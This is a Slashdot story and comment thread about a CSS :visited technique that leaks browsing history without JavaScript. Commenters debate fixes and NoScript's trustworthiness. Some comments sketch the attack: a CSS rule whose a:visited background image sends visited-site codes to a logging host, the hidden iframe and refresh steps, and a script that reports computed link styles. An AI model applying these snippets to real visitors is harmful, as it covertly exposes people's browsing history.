Slashdot Mirror


Sniffing Browser History Without Javascript

Ergasiophobia alerts us to a somewhat alarming technology demonstration, in which a Web site you visit generates a pretty good list of sites you have visited — without requiring JavaScript. NoScript will not protect you here. The only obvious drawbacks to this method are that it puts a load on your browser, and that it requires a list of Web sites to check against. "It actually works pretty simply — it is simpler than the JavaScript implementation. All it does is load a page (in a hidden iframe) which contains lots of links. If a link is visited, a background (which isn't really a background) is loaded as defined in the CSS. The 'background' image will log the information, and then store it (and, in this case, it is displayed to you)."

216 comments

  1. Well, we fixed it... by slarrg · · Score: 4, Funny

    You can't tell what sites I've been to if it's Slashdotted!

  2. Old stuff by kasot · · Score: 5, Informative

    The CSS history hack has been known since (at least) August 2006: http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

    1. Re:Old stuff by Anonymous Coward · · Score: 4, Informative

      Long before that, honestly.

      There are Firefox extensions that can help protect against this (see http://www.safecache.com/ and http://www.safehistory.com/ ), but they break enough things on the web that even their creators admit they're not terribly practical.

      (Disclaimer: Two of the folks that worked on this also worked for awhile on Chromium with me.)

    2. Re:Old stuff by Anonymous Coward · · Score: 0

      it appears to me that your 'Old stuff' link requires JavaScript (I turned off JavaScript, it begs me to turn it on). I can't check the current story's link due to slashdot effect, but if TFS is to be believed, no JavaScript is required on the link it contains.

    3. Re:Old stuff by zmooc · · Score: 5, Informative

      Bug 57351 - css on a:visited can load an image and/or reveal if visitor been to a site
      Reported: 2000-10-19 16:57 PDT by Jesse Ruderman

      --
      0x or or snor perron?!
    4. Re:Old stuff by glodime · · Score: 5, Informative

      Bug 57351

      Was marked ass a duplicate of 147777
      See: https://bugzilla.mozilla.org/show_bug.cgi?id=147777

      Vitaly Sharovatov and Walt Gordon Jones have an interesting back and forth on ideas for a proper fix. Search the page linked below for "Walt Gordon Jones" to follow the conversation.
      http://sharovatov.wordpress.com/2009/04/21/startpaniccom-and-visited-links-privacy-issue/

      Walt Gordon Jones summarizes his point:

      The idea that the only way to protect your history data is to give up keeping history at all seems broken to me. Just because the information is in the browser, and I may use it in other ways, doesn't mean it has to be used to mark up the rendered HTML on sites I visit. There's nothing that inextricably ties history to the browser's rendering engine.

    5. Re:Old stuff by Anonymous Coward · · Score: 1, Interesting

      The simplest partial solution is to make CSS visited links expire after 1 hour to minimize it's effects. Yet still retain the history in your browser for 2 months, so that you can still search it.

    6. Re:Old stuff by Blakey+Rat · · Score: 2, Interesting

      Can you perhaps explain the non-Javascript version in simpler terms than what's on the story's webpage? The explanation on the page is either very vague, or over my head. (Or both.)

      I fully understand how you can use Javascript to grab the computed style of the A tag and figure out if it matches the ":visited" style you have defined, but what I don't get is how he's grabbing the style using only server-side technologies. Since when is it possible for a web server to tell the computed style of an element?

    7. Re:Old stuff by rytier · · Score: 2, Interesting

      moderation undo (sorry for OT)...

      --
      --- Naive inside, foolish outside...:)
    8. Re:Old stuff by Blakey+Rat · · Score: 2, Interesting

      Oh wait, I think I just got it.

      What he's doing is setting your CSS A:visited property to a image URL, which is defined based on your browser session. Something like:
      a:visited { background-image: url( http://scansite.com/image.gif?s=yahoo_com&c=45353535 ); } Then he's coded up a PHP script that'll log the code at the end of the image URL, and track it in your PHP session variable, or a database.

      So, the flowchart looks like:
      1) User visits page
      2) PHP script generates session ID for the visit
      3) PHP script writes an invisible iframe to the page, which includes
        - a link to an Target URL (the URL you're trying to find in the history)
        - a CSS rule defining the A:visited image to be a particular URL + a code for the Target URL + your session ID
        - a meta-refresh tag that instructs the server to refresh the iframe with the next Target URL on the list
      4) When the iframe refreshes, the PHP feeds out a list of which Target URLs your session ID has been seen at

      Ironically, IE's dubious "click on reload/redirect" feature is (currently) the most effective defense against this technique, as the user isn't likely to notice the constant clicks emanating from their browser while this attack is taking place.

      Clever stuff. Someone let me know if I'm off-base on this explanation, but if it's not exactly what he's doing, I'm sure this would work as well.

    9. Re:Old stuff by black6host · · Score: 2, Interesting

      Sure... Me, I can just turn off my history if I don't want sites sniffing it this way. What ever made me think, in this day and age, that anything I do, on the net or not, is private?

      Sorry, not to bash you, just sad commentary.....

    10. Re:Old stuff by Keeper+Of+Keys · · Score: 2, Interesting

      I for one would be quite happy if browsers disabled the ability to use the :visited pseudoclass in your own CSS, which would kill this one stone dead. It's hard enough getting designers to specify :hover states for links, and practically impossible to get :active states out of them - if they're even needed, which is debatable. Who bothers with :visited states? In anything other than body text, users are unlikely to understand why a certain link looks different anyway. It is occasionally useful to spot that a link embedded in text is one you've already followed, but invariably this is the browser's default styling showing through. Perhaps values of 'inherit' should be allowed, so you can turn off the browser default, but otherwise... pfff! get rid of it.

    11. Re:Old stuff by eiMichael · · Score: 5, Insightful

      Just make "visited" only apply within that domain, like a bastardized cookie. I don't care that us.gov knows which other us.gov links I've been to, but I don't want my browser reporting that I've also been to al-quada.org.

    12. Re:Old stuff by aamcf · · Score: 1

      Why not make the browser access any URLs for :visited links regardless of whether or not there are any :visited links on the page?

    13. Re:Old stuff by Philip_the_physicist · · Score: 5, Interesting

      Alternatively, make browsers download all the pseudoclasses for links, so that it is impossible for sites to use this to track users, but without removing the utility of having marked "visited" links. This could be done by browsers without needing any change to the standards, AFAICT.

    14. Re:Old stuff by zmooc · · Score: 1

      Gotta love the practice of marking older bugs as duplicates of newer ones...

      --
      0x or or snor perron?!
    15. Re:Old stuff by Anonymous Coward · · Score: 0

      That method is inefficient.
      Wouldn't it be much easier to have all the links in one page?
      Since you are using a URL in the parameters after it, it shouldn't be required to load up URLs individually since it isn't the actual background image that causes the logging, it is the URL appended after it.

      At least, i think that would work, i'd code up a test just now, but i'm feeling a bit lazy at the moment, and thinking of going for a shower.

    16. Re:Old stuff by Hurricane78 · · Score: 1

      That's ok. We don't need that hack anymore. This little social engineering of an article worked perfectly.

      Prepare for the party-van to arrive.

      --
      Any sufficiently advanced intelligence is indistinguishable from stupidity.
    17. Re:Old stuff by drinkypoo · · Score: 2, Interesting

      This could be done by browsers without needing any change to the standards, AFAICT.

      It can't be done without generating a lot of unnecessary bandwidth, though, and harshing major on dialup users (who are already getting their asses kicked hard enough.)

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    18. Re:Old stuff by Blakey+Rat · · Score: 1

      If I know my CSS, you could do that by assigning a class to each individual A tag, and then writing out a much longer style tag which has a different A:visited background for every single class. That would reduce the "clickiness" of IE, at least, but you'd have to give the browser more time to go through and load every background image.

    19. Re:Old stuff by tkiesel · · Score: 1

      It can't be done without generating a lot of unnecessary bandwidth, though, and harshing major on dialup users (who are already getting their asses kicked hard enough.)

      On the other hand, it also makes the malicious site owner have to pay more for bandwidth, and that bandwidth is wasted cash since it isn't giving them any effective data.

    20. Re:Old stuff by pavon · · Score: 3, Informative

      No it wouldn't. Most legitimate sites don't do anything exotic with the visited property, they just change color or font properties. Even those that do use the background property or some other property that accepts urls will have a single url that applies to all or a large class of visited links. The only sites that would generate a lot of bandwidth are the tiny minority that intentionally have a different visited resource for each link on their site. They have an interest in keeping this bandwith low themselves and will make those resources to be as small as possible. Hell, the CSS dictating all these resources might even be as large as the resources themselves. Honestly, this is a complete non-issue compared to the bandwidth problems caused by plain old bad site design.

    21. Re:Old stuff by Anonymous Coward · · Score: 0

      But isn't each assignment of image.gif sending a new request to the server because it has parameters after it?
      If it isn't, then i would probably view this as a bug in browser caching.

      I say this because you can reference images on a server that aren't actually images. (such as returning an image from a php random generator, as a popular example)
      The fetched data stream should be changed, even though the name and extension are the same.
      While this is a regular image format, browsers shouldn't really be caching-comparing just the image.gif part, if even treating it AS an image in the first place since it could very well be a completely different format.

    22. Re:Old stuff by Blakey+Rat · · Score: 1

      But isn't each assignment of image.gif sending a new request to the server because it has parameters after it?

      Yes, of course it is.

      If it isn't, then i would probably view this as a bug in browser caching.

      But it is, so that's irrelevant. (Rest of post ignored, since it's also completely irrelevant.)

    23. Re:Old stuff by NickFitz · · Score: 1

      The IE click effect on TFA is a side-effect of the demo, not of the fundamental technique. If the original page markup includes a hidden iframe containing all the links of interest there will be no reloading and no click. It would look as if the page is taking a long time to finish loading because of the size of the iframe contents for any usefully large set of links, but a lot of sites seem to get that effect just by using Google Analytics, so the average user wouldn't notice any difference ;-)

      --
      Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
    24. Re:Old stuff by Anonymous Coward · · Score: 0

      Thanks man, this is really useful to someone who missed the point. On the other hand, I didn't miss the point, so why did you make me read that?

    25. Re:Old stuff by Anonymous Coward · · Score: 0

      Well, applying same domain security model is what guys from Stanford suggest to do (see bug 147777 comments). But if you try searching anything on google, you'll immediately see that some links are marked as visited. Obviously because you visited them. Do you want to lose this functionality?

      And if I read al-quada.org every morning, I'm likely to use Private Browsing which doesn't store the history.

      Vitaly Sharovatov

    26. Re:Old stuff by Anonymous Coward · · Score: 0

      and what if I apply the following CSS: :visited span { display: none; }

      to the following HTML:

      <a href="alquada.org"><span>text<span></a>

      and then do a loop on all spans in links, check their resulting display value and report to my server?

      I mean this issue is not only about downloading background-images on visited links. Read my blogpost for more details: http://sharovatov.wordpress.com/2009/04/21/startpaniccom-and-visited-links-privacy-issue/

      Thanks,
      Vitaly Sharovatov

    27. Re:Old stuff by unitron · · Score: 1

      ...al-quada.org

      Just think, if they'd only thought to go with al-quada.mil instead, they'd be eligible for treatment as prisoners of war and all that Geneva Conventions stuff.

      --

      I see even classic Slashdot is now pretty much unusable on dial up anymore.

    28. Re:Old stuff by beav007 · · Score: 1

      Gotta love /. - you do the right thing and undo a wrong downmod, and then lose karma for it as well.

    29. Re:Old stuff by netsharc · · Score: 1

      But .mil is only for US military... OMG, is Al-Qaeda part of the US military!?!? You stumbled into the secret!

      --
      What time is it/will be over there? Check with my iPhone app!
    30. Re:Old stuff by zobier · · Score: 4, Informative

      Alternatively, add
      a:visited { background-image: none ! important; }
      To your userContent.css
      I can confirm that this works.

      --
      Me lost me cookie at the disco.
    31. Re:Old stuff by unitron · · Score: 1

      In Gitmo, no one can hear you uncover conspiracies.

      Just wait right there and the nice men will be by with the van in just a moment to carry you to the black helicopter.

      --

      I see even classic Slashdot is now pretty much unusable on dial up anymore.

  3. Will it.. by NervousNerd · · Score: 0

    Will it know if I've gone on Goatse?

    1. Re:Will it.. by orange47 · · Score: 4, Informative

      its easy to tell, with that nickname of yours.. :)

    2. Re:Will it.. by tiananmen+tank+man · · Score: 2, Insightful

      The parent post is marked informative? Informative like it is easy to tell who is a terrorist by the length of their beard?

    3. Re:Will it.. by Chrisq · · Score: 1

      Informative like it is easy to tell who is a terrorist by the length of their beard?

      Hey, these screening techniques are supposed to be a state secret. If the terrorists go and shave of their beards bow we won't have a clue who they are and it will all be your fault.

  4. big issue is NoScript by bcrowell · · Score: 5, Informative

    I'd care a lot more about this if NoScript was still a viable option. NoScript has become malware at this point. The real issue is the need for someone more trustworthy to make a simpler, and more trustworthy replacement for NoScript. Please? Pretty please?

    1. Re:big issue is NoScript by Anonymous Coward · · Score: 0, Troll

      Stop overreacting, that is old news and long since fixed. NoScript is no more "malware" than Firefox itself.

      I'm sure you have more crapware and malware installed on your computer that you're blissfully unaware of than you care to admit, yet you single NoScript out for one tiny misstep made and quickly corrected some time back.

    2. Re:big issue is NoScript by Anonymous Coward · · Score: 5, Interesting

      This is not a troll. I wouldn't go so far as saying NoScript is malware, but the author is unscrupulous. For what the addon does, it sure gets updated a lot!

    3. Re:big issue is NoScript by bcrowell · · Score: 1, Insightful

      Hmm...my GP post is modded -1 troll, and the parent post, which says "This is not a troll," and explains why, is also modded -1 troll. It's too bad that you can't both mod and comment; I'd have liked to know why the mods thought there was something trollish about both posts.

    4. Re:big issue is NoScript by melikamp · · Score: 1

      It seems like it's been fixed.

    5. Re:big issue is NoScript by bcrowell · · Score: 5, Insightful

      Stop overreacting, that is old news and long since fixed.

      Letting someone else's code run on my computer is an act of trust. Once they've shown they're untrustworthy, that's it, as far as I'm concerned. The world's best security software is no good if the author is someone who's demonstrated at least once that you can't trust him.

      NoScript is no more "malware" than Firefox itself.

      This is an interesting statement, but I don't understand your reasoning. Maybe you could explain more. Have the developers of Firefox done something untrustworthy?

      I'm sure you have more crapware and malware installed on your computer that you're blissfully unaware of than you care to admit,

      I don't understand how you know so much about my computer. Maybe you could explain more how you became so well informed about what's on my hard disk. I'm running Ubuntu. Are you aware of a lot of crapware that comes with a freshly installed Ubuntu system? Are you aware of a lot of malware that's been observed in the wild infecting Ubuntu systems? If so, I'd be very interested to hear about it.

    6. Re:big issue is NoScript by bcrowell · · Score: 5, Insightful

      It seems like it's been fixed.

      The issue isn't that the software had a bug that had to be fixed. The issue is that the author of the software has shown himself to be untrustworthy by making his software interfere with other software, for the purpose of increasing his own financial gain from ads.

    7. Re:big issue is NoScript by gavron · · Score: 2, Informative
      You CAN mod and comment. When you make the comment, the mods you made go away. If you comment first, you cannot mod.

      So the mods could come in here and explain, but then their mods would be gone :)

      Heisenberg, we hardly knew ya.

      E

    8. Re:big issue is NoScript by mrmeval · · Score: 3, Informative

      He was trying to work around a problem with easylist and handled it badly but easylist is as much to blame for targeting him.

      He answers his emails if you care to ask but easylist has ignored me so far.

      --
      I'd go on a Vegan diet but the delivery time from Vega is too long. --brownkitty
    9. Re:big issue is NoScript by MobileTatsu-NJG · · Score: 1

      You CAN mod and comment. When you make the comment, the mods you made go away.

      Oh brother. Lucky for you I can comment but not mod.

      --

      "I like to lick butts!" by MobileTatsu-NJG (#32700246) (Score:5, Informative)

    10. Re:big issue is NoScript by Blue+Stone · · Score: 3, Insightful

      If anything, I'd say the author of Noscript has proved two things: one, that he is human and makes mistakes, and two, that he has the integrity of character to appologise for his mistakes and rectify them. Neither of which makes him any less trustworthy than anyone else.

      Unless you're one of those people who believes that anyone less than perfect with a flawless record of behaviour deserves to be castigated for all time for their transgressions, i suggest you consider a concept called 'forgiveness' which, I believe is most appropriate where the transgressor shows genuine remorse. It seems applicable in this situation, but of course, I can only speak for myself.

      (I don't know the guy & I use both noscript and adblock+ with easylist)

      --
      Corporation, n. An ingenious device for obtaining individual profit without individual responsibility. - Ambrose Bierce
    11. Re:big issue is NoScript by Korin43 · · Score: 5, Insightful

      Easylist blocks ads. Easylist blocked an ad on his site. How is this their fault? They are doing exactly what they say they do.

    12. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      forgiveness? Can I download that from the app store?

    13. Re:big issue is NoScript by NimbleSquirrel · · Score: 4, Interesting

      On the surface it seems like NoScript had descended into the point of malware, but take a look into the history of why Giorgio did what he did and you will see that AdBlockPlus (Wladimir) and EasyList (Ares2) weren't entirely innocent in the matter (namely specifically blacklisting NoScript's domains). I notice that Giorgio was quick to apologise for his part, but Wladimir still refuses to apologise for his actions that certainly contributed.

      Yes, there needs to be a more trustworthy NoScript, but at the same time there also need to be a more trustworthy AdBlockPlus and more transparency over subscription filtersets like EasyList.

      I, personally have taken AdBlockPlus off my system, not because of this debacle, but because one of the updates recently broke my browser. I have found Privoxy much better suited to my needs.

    14. Re:big issue is NoScript by Barny · · Score: 1

      Nope, it can only be given, never purchased, kinda like early gmail beta.

      --
      ...
      /me sighs
    15. Re:big issue is NoScript by Anonymous Coward · · Score: 1, Insightful

      You certainly speak for quite a few more than yourself. I for one am really glad someone said it - personally I think a lot of people got way too upset about this, many of which (from the arguments I've read) did not really understand the issue.

    16. Re:big issue is NoScript by Barny · · Score: 2, Interesting

      Yeah, I find a proxy based solution much better for keeping the bad things out, also has the bonus of protecting my steam browser, my mobile phone browser (when browsing on my wireless) and other in-game browsers for different games.

      NoScript is to stop a problem specific to that web browser (namely its masochistic tendency to run scripting like it was "the last line of crack it was ever going to get"), whereas ad sites are needed to be blocked no matter what browser you are on (even lynx).

      --
      ...
      /me sighs
    17. Re:big issue is NoScript by davidsyes · · Score: 1

      "I'd have liked to know why the mods thought there was something trollish about both posts."

      Mybe thye aer gliffing snue jithout wava....?

      --
      Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
    18. Re:big issue is NoScript by VGPowerlord · · Score: 5, Informative

      If anything, I'd say the author of Noscript has proved two things: one, that he is human and makes mistakes, and two, that he has the integrity of character to appologise for his mistakes and rectify them. Neither of which makes him any less trustworthy than anyone else.

      From what I hear, he only "apologized" and fixed the problem for several reasons:
      1. Because the Firefox devs said that NoScript was breaking Firefox's Add-on Policy when it started monkeying around with AdBlock Plus.
      2. NoScript's rating was plummeting on the Firefox Add-on site. If this rating drops too much, NoScript would no longer be considered a trusted add-on, and therefore every version would be subject to security review before it exited the Sandbox.

      Oh, yes, you read that correctly. NoScript is currently not reviewed before new versions go up on the Firefox add-on site.

      Incidentally, Mozilla made a new policy spelling out some restrictions for add-ons after this incident.

      --
      GLaDOS for President 2016! "Well here we are again. It's always such a pleasure." -- GLaDOS, 2011
    19. Re:big issue is NoScript by supernova_hq · · Score: 5, Insightful

      Don't confuse forgiveness with trust.

      If someone borrowed your car and backed into a telephone pole, you would be upset. If they paid for the damages, you would probably forgive them. But the question is: Would you trust them with your car..?

    20. Re:big issue is NoScript by yoyhed · · Score: 4, Funny

      Are you aware of a lot of crapware that comes with a freshly installed Ubuntu system?

      Does Ubuntu come with emacs?

      --
      WHO NEEDS SHIFT WHEN YOU HAVE CAPSLOCK/ DAMN1
    21. Re:big issue is NoScript by Fred+Ferrigno · · Score: 1

      From what I hear, he only "apologized" and fixed the problem for several reasons: ...

      So what if he only fixed it because of public pressure? He fixed it, right? The public pressure is going to be around for as long as people use it, right? At least he's being held accountable to the users.

    22. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      EasyList blocked everything on his site, including the installation links which are plain hold HTML anchors.
      Nobody using EasyList could even install NoScript from his site. Is that "exactly what they say they do"?

    23. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      Then don't use it if you don't like it. I like my 'web experience' without blinking animated stuff thrown in my face everywhere.

      Suggest some better combination than ff+noscript+abp if you know one, I'll stay open for new ideas.

    24. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      That would be fine if he wanted to contribute the time to code Noscript, and his webpage for free, but apparently he doesn't want to do that. Perhaps we can cut people who do good things (tm) for the community some slack when it comes to their websites dedicated to helping the community? But, if you don't want to do that, either don't expect Noscript to be developed anymore, or expect the dev to defend his website.

    25. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      Unless they explain as A/C.

    26. Re:big issue is NoScript by Bill+Dog · · Score: 2

      Whether to stop trusting after one "mistake" is a personal decision. But one betrayal is evidence of untrustworthiness.

      --
      Attention zealots and haters: 00100 00100
    27. Re:big issue is NoScript by ikkonoishi · · Score: 1

      Basically from what I read easylist went above and beyond blocking ads on his website by actually changing the way html on his page was rendered in order to disable all forms of advertisement.

      They disabled everything but css and html basically putting his pages back to the early 90s in terms of functionality.

      The restrictions were so sever that it became actually impossible to download noscript if you were using easylist because it would remove the download links. This caused the author to have a HOLY CRAP THIS IS BROKEN response so over the course of one night he made a "fix" for it. Only after he had released the fix did he realize how much he had overstepped the bounds of decency.

      He issued this apology.
      http://hackademix.net/2009/05/04/dear-adblock-plus-and-noscript-users-dear-mozilla-community/

    28. Re:big issue is NoScript by slash.duncan · · Score: 1

      Another privoxy user. =:^)

      FWIW, neither konqueror nor iceweasel/firefox responded to the detection page here. First, I had meta-refresh turned off on konqueror so I had to turn it back on, but when neither it nor iceweasel responded, I put two and two together...

      My strong preference is light text on a dark background, about opposite the scheme most of the web uses by default. What's worse, it's all too common for a site author to simply assume either a white background or black text, and set one without setting both so one is still the default, thus rendering it either light on light or dark on dark and making it nearly or entirely unreadable.

      But the easiest solution, simply setting up an !important user CSS setup, doesn't account for changing colors at all -- I didn't want /all/ pages to be white text on a black background, just light on dark. If the page set a red background, I wanted to darken it, not make it black. Similarly, if a page set 0000ff (pure, rather darkish, blue, the eye not being as sensitive to blue as to red or green) text, I wanted perhaps robin's egg blue text, not white.

      As a result I've setup a rather complex privoxy filterset that tries to keep the basic colors, while darkening light backgrounds and lightening dark text. A bright red background gets darkened to brick red or the like, for instance, just as I want.

      Great... until I realized that loading bright background images with the now wrong assumptions (that my text would be dark, either by default or because the page made it that way before the filter rewrote it) rather killed things. Unfortunately, the dynamic adjustment of brightness idea doesn't work so well on images, so I'm left with little alternative but filtering those set as background.

      Similarly with sites setting link:visited and the like. My browser default link colors take into account my preferences, but the page author doesn't know them. Rather than hassle setting up a whole colorset filter for those as I did for text and backgrounds, however, I simply killed any link: stylesheet directives. Now they (usually, as with the entire set, I still have to adjust the filters once in awhile) get filtered out and the browser default link colors take over. =:^)

      The originally unintended but quite useful side effect is that this attack doesn't work on my browsers as filtered thru privoxy, because it depends on using as a telltale a feature I've filtered out of the incoming page. =:^)

      Of course it's still possible to avoid privoxy filtering with the use of a secure connection. Back on MSWormOS I used to use The Proxomitron, which could make use of the SSLeay libs to handle SSL[1] connections too. As luck would have it, that's on the recently updated privoxy todo list, as well. I've been WAITING for that!

      [1] This was NOT a man-in-the-middle attack, as the browser-proxy connection was entirely over localhost and therefore at the client endpoint. There was thus no more danger to have that connection unencrypted than there was for the browser itself to be handling the unencrypted content. The connection between the proxy and the server at the far end was still encrypted as usual, and thus resistant to MitM attacks. All this assuming the proxy code is as trusted as the browser code, of course, and that the proxy would detect problems with the certificate similar to the way a browser would, and would throw up an appropriate notification page if it detected any funny business, just as would the browser. I'm actually not entirely sure The Proxomitron had integrated certification checking and warning code, but it was of course possible to configure either it or the browser to bypass the mechanism and filtering for individual sites, like my bank. But given that privoxy is under SPI much as Debian is, and based on public reputation and the fact it /is/ open source, I expect privoxy will do the right thing, in addition of course to having it be a compile-time option for those uncomfortable with the idea.

      --
      Duncan
      "Every nonfree program has a lord, a master,
      and if you use the program, he is your master."
      R Stallman
    29. Re:big issue is NoScript by arose · · Score: 1

      I've been happy with RequestPolicy so far. It's not a drop in replacement however. On the upside it blocks all cross site requests, not just javascript (was that an invisible 1x1 gif?), on the downside if you want a third party image to load you will also enable javascript from that party. You also can't block javascript from the site you are on, but that's what YesScriptis for.

      --
      Analogies don't equal equalities, they are merely somewhat analogous.
    30. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      It isn't "increasing" but "keeping". One suggests a crook, the other suggests a victim.

    31. Re:big issue is NoScript by arose · · Score: 2, Insightful

      Half apology, half counterattack.

      Most of his users want stuff blocked not look at his ads, they don't consider him or google special, why not white list all advertisers, not only his own? Not to mention the update mill and resulting page visits. If he could manage to not realize what the hell he was doing once (and I'm not sure I believe that, the default white list and updates had made me iffy even before the incident), he can do it again. I don't want to be there when that happens, not after opening adblock plus one day and seeing white lists Inever added and Inever had EasyList, just a handful of manually added rules.

      --
      Analogies don't equal equalities, they are merely somewhat analogous.
    32. Re:big issue is NoScript by arose · · Score: 1

      Suggest some better combination than ff+noscript+abp if you know one, I'll stay open for new ideas.

      Mine is Adblock Plus, Adblock Plus: Element Hiding Helper (Youtube comments begone!), RequestPolicy, YesScript and Cookie Monster (cookies don't might not flash, but you might want to practice moderation anyway).

      --
      Analogies don't equal equalities, they are merely somewhat analogous.
    33. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      Sorry, I disagree.

      People entrust their computers, their data, and their medical records to me.

      Betraying that trust is simply not an option to me, even when I get mad because I think someone somewhere is screwing me.

      What people do under times of duress shows their real character. I don't trust his.

    34. Re:big issue is NoScript by Ant+P. · · Score: 1

      Are you aware of a lot of crapware that comes with a freshly installed Ubuntu system?

      I am. The first thing I do on a new Ubuntu install is remove Mono.

    35. Re:big issue is NoScript by Ant+P. · · Score: 1

      So what if Microsoft fixed Windows Media Player because of a billion dollar fine from the EU? They fixed it, right?

    36. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      "the last line of crack it was ever going to get")

      You do, of course, mean "the last piece" or "the last rock." If you're snorting that shit, you'll have a whole other kind of brain damage.

      Actually, that might explain your post.

    37. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      I haven't looked at it since the incident, but can you now uninstall Noscript? Does it still interfere with Adblock? Does it still cause Mozilla chrome issues when upgrading Mozilla?

    38. Re:big issue is NoScript by Anonymous Coward · · Score: 0

      Firefox alone is sufficient in my experience. I like my web without stuff thrown in my face as well, but the solution: don't go to sites like that if you don't like to see them. In fact you don't see many sites that like anymore. They just don't last.

      A site has an advertisement - great, ignore the advertisement if you don't want to see it.
      Advertising is in your face - great, ignore the site if you don't want to see it.

      Really, it's truly not as bad as people make it out to be.

    39. Re:big issue is NoScript by mrmeval · · Score: 1

      And Easylist can assault you if they feel like it. So?

      --
      I'd go on a Vegan diet but the delivery time from Vega is too long. --brownkitty
    40. Re:big issue is NoScript by Fred+Ferrigno · · Score: 1

      Yeah and how many Firefox users run Microsoft software?

      It's just not realistic to worry about this guy bundling a trojan or anything like that. You might as well worry about Ubuntu's repositories getting hacked.

    41. Re:big issue is NoScript by HTH+NE1 · · Score: 1

      Unless they explain as A/C.

      But only if they clear their login cookie first.

      --
      Oh, say does that Star-Spangled Banner entwine / The myrtle of Venus with Bacchus's vine?
    42. Re:big issue is NoScript by thexile · · Score: 1

      Try YesScript

    43. Re:big issue is NoScript by FuzzyBad-Mofo · · Score: 1

      I am a former NoScript user and have found a decent replacement in YesScript -- although I hardly ever need to use the blacklist functionality.

      https://addons.mozilla.org/en-US/firefox/addon/4922

  5. How to interpret results by noidentity · · Score: 4, Funny
    If the server responds

    Service Temporarily Unavailable

    The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

    then it means you've come from Slashdot.

  6. Re:damnit by Tubal-Cain · · Score: 0, Offtopic

    .cum

    They started handing out custom TLDs already?

  7. For the Masses by retech · · Score: 1, Interesting

    Most people will never understand and basic exploits like this will always work against them. At what point is it the browser's (and app support staff) responsibility to protect the ignorant? The simple fix for this and many things similar is to not cache, don't keep a history, lock your browser down. If you're too stupid to do that... it's kind of your own fault.

    Does a car manufacturer have a responsibility to make you drive safe? They make the car and if you're too stupid to learn how to use it properly you'll be weeded out.

    1. Re:For the Masses by CopaceticOpus · · Score: 3, Insightful

      Anyone who allows their browser to cache and keep a history is stupid? Perhaps your tin foil hat is a size too small.

    2. Re:For the Masses by digitalunity · · Score: 2, Informative

      Maybe just clear your cache more often. It's easy, fast and good practice. Ctrl-Shift-Del, press enter.

      Do this every time you close FF.

      --
      You can't legislate goodness. Let each to his own destiny, by will of his freely made choices.
    3. Re:For the Masses by Goaway · · Score: 4, Insightful

      Some of us actually use the browser history.

    4. Re:For the Masses by Anonymous Coward · · Score: 0

      I like having my browser history so I can tell if I've read something or not.

      Though I do keep it limited to two days.

      Honestly, though, I really don't get what all the fuss is about in regards to sites finding out what other sites you visit. Sure, it's an invasion of privacy, but beyond that I don't see how it can be used against you. Unless you're visiting illegal sites.

      But if all sites I visit are also visited by thousands of other people each day, why should I care if someone out there on the 'net knows that I'm one of those thousands?

    5. Re:For the Masses by MightyYar · · Score: 5, Insightful

      Most people will never understand and basic exploits like this will always work against them.

      So what, we shouldn't fix it then? The fix is dead-simple: the browser should load all "a:visited" images, regardless of whether or not it will display them.

      --
      W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
    6. Re:For the Masses by Opportunist · · Score: 5, Funny

      And some of us use one browser for their everyday surfing and one for the naughty pages... I mean, I would do that if I surfed to naughty pages, of course...

      --
      We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
    7. Re:For the Masses by sootman · · Score: 2, Informative

      Small but important distinction: this exploit is for browser history, not cache. That shortcut (or shift-command-delete* on a Mac) will bring up the 'clear private data' dialog which covers browser history (the one this exploit is for), download history, saved form and search history, browser cache, and other items.

      * Unlike PCs, which have 'backspace' and '(forward) delete' buttons, Macs have two buttons labeled 'delete' or 'del'--the big one which is backspace, and the small one next to help, home, end, etc., which is forward delete. That's the one you need for this shortcut. I imagine laptop users and people who use those new small keyboards are SOL.

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    8. Re:For the Masses by Anonymous Coward · · Score: 0

      The simple fix for this and many things similar is to not cache, don't keep a history, lock your browser down. If you're too stupid to do that... it's kind of your own fault.

      ...which would be a lot easier if I could run two separate instances of Firefox simultaneously.

      Instead, Firefox checks to see if a copy of itself is already resident, and if so, it pops open a new window. A simple command-line option to "run me in a separate process space even if I think I'm already running" would suffice.

    9. Re:For the Masses by NoMaster · · Score: 1

      * Unlike PCs, which have 'backspace' and '(forward) delete' buttons, Macs have two buttons labeled 'delete' or 'del'--the big one which is backspace, and the small one next to help, home, end, etc., which is forward delete. That's the one you need for this shortcut. I imagine laptop users and people who use those new small keyboards are SOL.

      In theory, the Mac's Fn key modifies the "delete" key to "del", so laptop / new keyboard users aren't so much SOL as "need to use another finger".

      In practice, however, it doesn't matter - on my '06/'07 model Core2Duo MacBook, shift-command-delete works fine & brings up the FF dialogue - as does shift-fn-command-delete.

      --
      What part of "a well regulated militia" do you not understand?
    10. Re:For the Masses by dmomo · · Score: 3, Interesting

      It's not DEAD-SIMPLE. I'd imagine the only real way is to kill "visited" functionality all together. Blocking images will just block that one exploit. JS isn't needed for this exploit, but it could be used to create other ones.

      If a page has the rule: a:visited { color: red; }

      And I have a link element with id="myElement". I can just do something like: if($('myElement').style.color === '#f00') alert('scream real loud (with ajax, or load an image.. or something)');

      I just thought of that one off hand. Someone may be able to come up with something trickier that requires no js.

      The point here is, the solution is not dead simple.

    11. Re:For the Masses by dissy · · Score: 1

      So what, we shouldn't fix it then? The fix is dead-simple: the browser should load all "a:visited" images, regardless of whether or not it will display them.

      Yes, that is a brilliant solution, and to me (Probably in hindsight to your comment) just seems like the most sane action for the browser to take anyway.

      It does make the prefetch data larger that needs transfered, but for most people I don't think that would be a big deal anyway, and especially so if pointed out of this attack it counters.
